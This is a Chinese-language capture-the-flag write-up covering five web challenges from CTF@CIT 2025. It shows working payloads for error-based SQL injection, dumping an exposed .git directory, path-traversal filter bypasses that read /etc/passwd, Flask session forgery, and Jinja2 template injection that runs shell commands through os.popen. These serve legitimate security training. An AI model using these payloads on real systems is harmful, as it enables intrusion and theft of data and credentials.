# CTF@CIT 2025 <h1><a href="https://hackmd.io/@gkEJMBo7Q96AKBisws_2bg/CTF_CIT_2025_Eng" target="_blank">English Version</a></h1> ## 一切的開始 同事覺得這個週末太無聊,看了一下[CTFtime](https://ctftime.org/)剛好有一場[CTF@CIT](https://ctftime.org/ctf/1109/),權重24.57也不會太高,剛好適合我們這種想被CTF玩(~~虐~~)一下的社畜... :fearful: 因為我們對Web比較有研究,所以只會講解Web的題目。 ## 開打 ### Web 1 - Breaking Authentication > 難度:簡單 - 題目一開始就一個登入頁面,第一感就是嘗試SQL injection,打一個單引號,就可以發現是error-based的sql injection。   - 嘗試構造error讓伺服器把我們要查詢的內容吐在error log裡,可以利用updatexml格式錯誤,讓table_name顯示在錯誤訊息裡。 ```script admin'+and+(select+updatexml(1,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+',')+FROM+information_schema.tables+WHERE+table_schema+!='mysql'+AND+table_schema+!=+'information_schema'),1))+--+ ```  - 自己手動查太慢了,我懶惰了直接請出sql injection大神─sqlmap的sql-shell代勞。紅框框就是flag,藍框框可以留意一下,後面的題目會用到。  ### Web 2 - Commit & Order: Version Control Unit > 難度:簡單 - 題目名稱的提示給的蠻明顯的,直接目錄爆破就找到 `.git` ```script [04:18:26] 301 - 320B - /.git -> http://23.179.17.40:58002/.git/ [04:18:26] 403 - 280B - /.git/branches/ [04:18:26] 200 - 27B - /.git/COMMIT_EDITMSG [04:18:26] 403 - 280B - /.git/ [04:18:26] 200 - 155B - /.git/config [04:18:26] 200 - 23B - /.git/HEAD [04:18:26] 403 - 280B - /.git/hooks/ [04:18:26] 403 - 280B - /.git/info/ [04:18:26] 200 - 73B - /.git/description [04:18:26] 200 - 240B - /.git/info/exclude [04:18:26] 403 - 280B - /.git/logs/ [04:18:26] 200 - 1016B - /.git/logs/HEAD ``` - 上工具 [git-dumper](https://github.com/arthaud/git-dumper) !!! ```bash > python git_dumper.py http://23.179.17.40:58002/ web-2 > cd web-2 > git log | grep commit commit 7c8c6a8e434cb23aa9c9dac0ce715e928016849a commit 9b8bf13600c17ba7cbbc9ac7dcffaebd36b16b36 commit 68f8fcdbebcca3c8fda1e91fcb842992d09a41d4 commit 247b12483ba3a6a8d177fdd9d74416a01eb61512 commit ca9517713391aca6f5073758effa47c33d3be6b4 commit 0e775315a623ed96d9b0b53e6ffb69dd06b93902 ``` - 在 `9b8bf13600c17ba7cbbc9ac7dcffaebd36b16b36` 的commit找到Flag,不過是Base64編碼過,稍稍找一下 ``` > git show 9b8bf13600c17ba7cbbc9ac7dcffaebd36b16b36 - <div class="main-content"> - <div class="warning-banner"> - <svg width="24" height="24" fill="currentColor" viewBox="0 0 24 24"> - <path d="M1 21h22L12 2 1 21zm12-3h-2v2h2v-2zm0-8h-2v6h2v-6z" /> - </svg> - This admin panel is under construction. No actual functionality is available yet. But here, have this: Q0lUezVkODFmNzc0M2Y0YmMyYWJ9 - </div> ``` - 直接用 `base64 -d` 或丟到 [CyberChef](https://gchq.github.io/CyberChef/)都是不錯的方式,成功拿到`CIT{5d81f7743f4bc2ab} `!!! ``` > echo "Q0lUezVkODFmNzc0M2Y0YmMyYWJ9" | base64 -d CIT{5d81f7743f4bc2ab} ``` ### Web 3 - Keeping Up with the Credentials > 難度:簡單?中等? - 題目又是從一個登入頁開始,題目說明有說登入資訊在前面的題目中,就是第一題藍色框框的admin的帳號密碼  - 輸入帳號密碼後,會跳轉到debug.php  - 而debug.php什麼東西都沒有,目錄爆破發現還有一個頁面叫 `admin.php`,但是直接query `admin.php` 都會直接跳轉回一開始的登入頁面,想說是不是要內網才看的到,但不管把封包的HOST或是Referer改成`127.0.0.1`,或是加入X-Forwarded-for都沒有用,相信很多人到這邊就卡住了。  - 然後神奇的一步來了,大家是不是忘記除了GET,還有一個方法叫做POST,將登入封包的request method改成 `POST` ,BINGO!!!!成功跳到 `admin.php`。   - 手法難嗎??一點都不會,有手就行,Burp suite可以讓你動動滑鼠就幫你從 `GET` 轉成 `POST` - 但簡單嗎? 比較看看他跟其他題的答對人數~~ 有時候大家都會忽略了最簡單的路,開始鑽牛角尖,但題目其實沒這麼難。  ### Web 4 - How I Parsed your JSON > 難度:中等 - 題目讓你可以使用類似SQL語法的方式查詢json檔,輸入*可以吐出整個檔案的內容,題目有提示FLAG在`secrets.txt`,很明顯題目是要我們用任意讀檔的方式去讀到`secrets.txt`。  將container改成 `/etc/passwd`,果然可以成功讀檔,但題目會將../以及附檔名都replace成空字串,所以沒辦法使用 `../secrets.txt` 讀到flag  - 繞過方法很簡單,由於 `../` 會被刪掉,使用 `....//` 就可以繞過這個保護(應該不用解釋吧),副檔名會被刪掉,使用兩個附檔名就可以繞過,最後的payload是 `container=....//secrets.txt.json`  ### Web 5 - Mr. Chatbot > 難度:中等 - 一開始只有一個輸入username的網頁,隨便輸入都可以登入  - 登入後,會有一個跟機器人的對話框,但看一下網頁源始碼可以發現對話框實際上是用 `javascript` 進行互動,所以判斷這個對話框不是重點,本來還以為有機會是 SSTI(Server Side Template Injection) 的問題。  - 回到登入口檢查封包,每次都會Set-Cookie,看到 `ey` 開頭就下意識會拿去 Base64解碼看一下  ``` > echo -n "eyJhZG1pbiI6IjAiLCJuYW1lIjoidGVzdCJ9.aA3tbQ.l4y9ffBh-RKddWkqm0E-44dWI6k" | base64 -d {"admin":"0","name":"test"}base64: invalid input ``` - 喔!! 看到 `"admin":"0"`,就會想在登入時,`name=test` 後面嘗試加上 `&admin=1`,果然得到明顯不一樣格式的session。  - 可惜不是Base64編碼的格式,從網站的response發現網站是使用python撰寫的,稍微Google就可以發現可以使用[Flask-Unsign](https://github.com/Paradoxis/Flask-Unsign)工具對這串Session進行解碼,但進到 `/home` 頁面一樣沒什麼不一樣..., ``` > flask-unsign --decode --cookie ".eJw9jLEOgjAURf-lswsGYnS1toA2DJJK2ZA2ULEsQtAa_93bQbd3cs87b9JoZ0eyIxFZkbFxBudkHhNothqgufSaZy7zIimiZ1xc6tbQbl2l_SAYmLLAcZlG9yrtEnXetobLHnsfduVl83NFKbEdPNjWAzzK7BFNwfPQeJ3g1JTp69_NFrgOvzPaS7FXN-GHDfl8ATHePFw.aA3u3w.7gq-cGaAKbE8P4b3YhsA088iKLo" {'admin': '1', 'name': 'test', 'uid': 'dGVzdGImIzM5O1x4OWZceDg2XHhkMFx4ODFceDg4TH1lXHg5YS9ceGVhXHhhMFx4YzVaXHhkMFx4MTVceGEzXHhiZk9ceDFiK1x4MGJceDgyLFx4ZDFdbFx4MTVceGIwXHhmMFxuXHgwOCYjMzk7'} ``` - 於是開始研究後面那串Base64編碼的字串,發現結果最前面的 `test` 不是我輸入的 `username` 嗎? ``` > echo -n "dGVzdGImIzM5O1x4OWZceDg2XHhkMFx4ODFceDg4TH1lXHg5YS9ceGVhXHhhMFx4YzVaXHhkMFx4MTVceGEzXHhiZk9ceDFiK1x4MGJceDgyLFx4ZDFdbFx4MTVceGIwXHhmMFxuXHgwOCYjMzk7" | base64 -d testb'\x9f\x86\xd0\x81\x88L}e\x9a/\xea\xa0\xc5Z\xd0\x15\xa3\xbfO\x1b+\x0b\x82,\xd1]l\x15\xb0\xf0\n\x08' ``` - 趕緊嘗試前面失敗的SSTI,使用Payload `name={{6*6}}&admin=1` 確定SSTI問題是否存在。 ``` > flask-unsign --decode --cookie ".eJwljU0PgiAcxr8Lx9ZFQ7fauiGaG7A1UeOmyJQKL9UkW9-9P-v2_J49Lx_UDc7O6IAitEVz5wzIdJMCvOwAmq3KlpatonpqQ-hV1h6zvNQml7GMPFaEg3-L22Kyal6WthgTfvdYkClk1sCCQqc56z74DeXgeSVPu9DhsCcq2CNjEvhS-3cNeeXkXmXhJ1v-_48j-v4A-F45Dg.aA3y4Q.N5woy7pLCqyU-ZdTAGcZX2t_QGs" {'admin': '1', 'name': '6*6', 'uid': 'MzZiJiMzOTtceDFjUVx4MGJceGU2U1x4ZDNceDk2XHhiZnwwXHg5Nlx4ODhceGUzXHg5OFx4MWRcblx4OWFNXHgxZUI3XHhiNVx4OTJceDg5XHhiYVxyVFx4ZmU9ZEJceGEwJiMzOTs='} ``` - BINGO!!! 果然得到預期計算的結果 `36` 。 ``` > echo -n "MzZiJiMzOTtceDFjUVx4MGJceGU2U1x4ZDNceDk2XHhiZnwwXHg5Nlx4ODhceGUzXHg5OFx4MWRcblx4OWFNXHgxZUI3XHhiNVx4OTJceDg5XHhiYVxyVFx4ZmU9ZEJceGEwJiMzOTs=" | base64 -d 36b'\x1cQ\x0b\xe6S\xd3\x96\xbf|0\x96\x88\xe3\x98\x1d\n\x9aM\x1eB7\xb5\x92\x89\xba\rT\xfe=dB\xa0' ``` - 直接上Payload,我是參考這篇[文章](https://medium.com/@baraiprince0111/unveiling-the-secrets-of-server-side-template-injection-ssti-in-flask-and-jinja2-25c57ab3199f)的Payload。送出 `name={{config.__class__.__init__.__globals__['os'].popen('cat+secrets.txt').read()}}&admin=1` ,就會得到下面的結果。 ``` > flask-unsign --decode --cookie ".eJwtjl1rgzAUhv_K8MYWhqjoOga72ZwWIUqtrR9jSBYzE2ui1AwkY_99x7K793k_DufHwK3g0ngyHOPekFhQkGSUX7yzmoYMeJ6bBhSXXN1EN4yfeADz3Rxn88OaxonKjUmwupspuVI1W2pR5ta6UtxutnD0m7dwsyoyhQvvIS0qfTwh3RajX8oJv3ZTcDxnO5Qzlrg1r4uMJ1Glk_zg1dLhMUc6zRWhQcjKPRN1uHi1CIHZBZghYJQnhEbIv-ng5fFUxpAPAvJLAl6lGeQJX_fpyu4Z8s6ORahIoHrwezSsPdhFb3a573wkp7Xjrht0rHqkD7tYLHbq-NAJ__-an43fPwoGbTk.aA30WA.Tuwzi4gNG7mFdKLK98NH0EcLwxI" {'admin': '1', 'name': "config.__class__.__init__.__globals__['os'].popen('cat secrets.txt').read()", 'uid': 'YWRtaW46OWYzSUMzdWo5XnpaCgpDSVR7MThhN2ZiZWRiNGYzNTQ4Zn1iJiMzOTtceDFhXHhmZFx4ZmFceDhkXHhhMFx4MTNceGM5MFx4MDB8UXJceDlmXHhkNFx4YzhceGNiXHhmOFx4Y2VceDg0JmFtcDtjXHhjMlx4YzJceGE0XHg5MnpceDg2XHhmMSYjMzQ7Jmx0O15ceGFiJiMzOTs='} ``` - 解碼Base64部分,成功拿到`CIT{18a7fbedb4f3548f}`!!! ``` echo -n "YWRtaW46OWYzSUMzdWo5XnpaCgpDSVR7MThhN2ZiZWRiNGYzNTQ4Zn1iJiMzOTtceDFhXHhmZFx4ZmFceDhkXHhhMFx4MTNceGM5MFx4MDB8UXJceDlmXHhkNFx4YzhceGNiXHhmOFx4Y2VceDg0JmFtcDtjXHhjMlx4YzJceGE0XHg5MnpceDg2XHhmMSYjMzQ7Jmx0O15ceGFiJiMzOTs=" | base64 -d admin:9f3IC3uj9^zZ CIT{18a7fbedb4f3548f}b'\x1a\xfd\xfa\x8d\xa0\x13\xc90\x00|Qr\x9f\xd4\xc8\xcb\xf8\xce\x84&c\xc2\xc2\xa4\x92z\x86\xf1"<^\xab' ``` ## 結語 這次參加的CIT@CTF,WEB的題目比較沒有那種很刁鑽的技術,也不像O公司的某WA證照需要有通靈體質,是個老少咸宜的活動,版上大大如果有其他推薦的CTF競賽,歡迎推坑 :laughing: :laughing: :laughing: 最後,不免俗附上人權圖 
×
Sign in
Email
Password
Forgot password
or
Sign in via Google
Sign in via Facebook
Sign in via X(Twitter)
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
Continue with a different method
New to HackMD?
Sign up
By signing in, you agree to our
terms of service
.